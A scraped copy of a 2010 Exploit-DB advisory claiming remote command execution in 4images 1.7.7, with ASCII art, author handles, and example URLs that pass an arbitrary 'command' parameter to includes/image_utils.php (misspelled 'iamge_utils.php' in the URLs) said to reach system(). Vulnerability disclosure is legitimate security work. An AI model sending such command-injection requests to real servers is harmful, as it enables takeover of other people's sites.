4Images 1.7.7 – ‘image_utils.php’ Remote Command Execution - 体验盒子

作者： Sn!pEr.S!Te Hacker

日期： 2010-05-12

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12585/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

|| || | ||

o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,

( : / (_) / ( .

+-----------------------------------------------------------------------

-+

| ....... |

| ..''xxxxxxxxxxxxxxx'... |

| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. |

| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. |

| .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. |

| .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. |

| .xxxxxxxxxxxxxxxxxx'... ........ .'. |

| 'xxxxxxxxxxxxxxx'...... '. |

| 'xxxxxxxxxxxxxx'..'x.. .x. |

| .xxxxxxxxxxxx'...'.. ... .' |

| 'xxxxxxxxx'.. . .. .x. |

| xxxxxxx'. .. x. |

| xxxx'. .... x x. |

| 'x'. ...'xxxxxxx'. x .x. |

| .x'. .'xxxxxxxxxxxxxx. '' .' |

| .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' |

| .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. |

| .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' |

| .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. |

| .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. |

| .'xxxxxxx'.... ...xxxxxxx'. |

| ..'xxxxx'.. ..xxxxx'.. |

| ....'xx'.....''''... |

+-----------------------------------------------------------------------

-+

Remote Command Execution Vulnerability

========================================================================

4images <= 1.7.7 (image_utils.php)

#[+] Author : Sn!pEr.S!Te Hacker #

# [+] Email : sniper-site@HoTMaiL.coM #

# [+] T34M Sn!pEr.S!Te Hacker #

# [+] 12-5-2010 #

# [+] Script :4images #

# [+] Download:http://www.4homepages.de/downloads/e0adbeb40435/4images1.7.7.zip

# Version: [1.7.7] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=

Exploit : includes/image_utils.php

http://localhost/includes/iamge_utils.php?command=[your command]

http://127.0.0.1/includes/iamge_utils.php?command=[your command]

system($command);

line : 104 and 125

my friend : liar - sm Hacker -baby hacker -dmar - mr.Jld - ALhal alsab -

adil - Mr.SaTaN- abo badr - aStoorh alqssim - Ramad Hacker- h-ex -